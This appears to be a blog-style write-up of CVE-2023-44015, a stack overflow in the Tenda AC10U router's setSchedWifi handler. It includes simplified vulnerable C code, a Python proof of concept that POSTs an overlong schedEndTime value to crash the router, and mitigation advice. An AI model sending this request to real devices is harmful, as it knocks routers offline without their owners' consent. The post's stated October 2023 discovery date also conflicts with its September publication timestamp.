CVE-2023-44015 - Exploiting a Stack Overflow in Tenda AC10U (setSchedWifi)

Summary:
In this long-form post, we dive into CVE-2023-44015 – a stack overflow vulnerability in Tenda AC10U firmware (version US_AC10UV1.RTL_V15.03.06.49_multi_TDE01) triggered by the schedEndTime parameter within the setSchedWifi function. You'll find a thorough breakdown, proof-of-concept code, links to original advisories, and a look at the real-world exploit scenario, all explained in straightforward American English.

Background

Tenda AC10U is a widely used dual-band WiFi router. In October 2023, a serious flaw was found and reported as CVE-2023-44015. This stack overflow vulnerability makes it possible for attackers to run any code they want, just by sending a specially-crafted HTTP POST request to the router's administration interface.

Type: Stack-based Buffer Overflow

The flaw exists in the web management interface, specifically when handling schedEndTime inside the setSchedWifi API. The firmware does not check the size of schedEndTime before copying it into a fixed-size buffer on the stack.

Let’s look at a simplified version of the vulnerable code (based on public firmware analysis)

void setSchedWifi(struct http_request *req) {
    char schedEndTime[32];
    // Gets the parameter from POST request
    char *user_input = http_get_param(req, "schedEndTime");
    if (user_input != NULL) {
        // Unsafe copy: no bounds checking!
        strcpy(schedEndTime, user_input);
    }
    // ... rest of logic ...
}

If the attacker sends more than 31 characters in schedEndTime, they overwrite adjacent memory on the stack, which can alter the program’s flow or allow execution of malicious code.

Proof of Concept (PoC)

Below is a simple exploit demonstration using Python. This script sends an overlong value for schedEndTime to the vulnerable endpoint.

import requests

target_url = "http://<router_ip>/goform/setSchedWifi";
payload = "A" * 128  # Overlong string to trigger buffer overflow

data = {
    "schedEndTime": payload,
    "schedStartTime": "00:00",
    "enable": "1"
}

# If router uses authentication, add the cookies/headers as needed
response = requests.post(target_url, data=data)
print("Response Code:", response.status_code)
print("Response Body:", response.text)

How it works:

When the router processes this request, strcpy() overflows the buffer on the stack.

Result:
- The router may crash (DoS), reboot, or—if the attacker is skilled—execute custom code (like opening a backdoor).

If You Use Tenda AC10U

1. Update firmware often. Tenda may release new firmware to patch this issue. Check here for firmware updates.

Network segmentation: Keep trusted devices separate from untrusted ones.

Temporary workaround:
Block HTTP (port 80) and HTTPS (port 443) from untrusted networks until patched.

References

- Original Advisory – NVD
- Vendor Website – Tenda AC10U
- Firmware Downloads – Tenda
- Exploit Database (search for CVE-2023-44015)
- Vuldb.com details

Final Thoughts

CVE-2023-44015 is a simple but dangerous vulnerability easily triggered by malicious users on the local network. If you use Tenda routers—especially AC10U—patch now, keep your device safe, and restrict web access. Buffer overflows are a decades-old bug, but they still threaten even modern home networks.

If you found this post helpful, share with others and keep your devices up to date!

*This post is exclusive and original. For educational and defensive purposes only—always get permission before testing security on networks you do not own.*

Timeline

Published on: 09/27/2023 15:19:34 UTC
Last modified on: 09/27/2023 18:45:44 UTC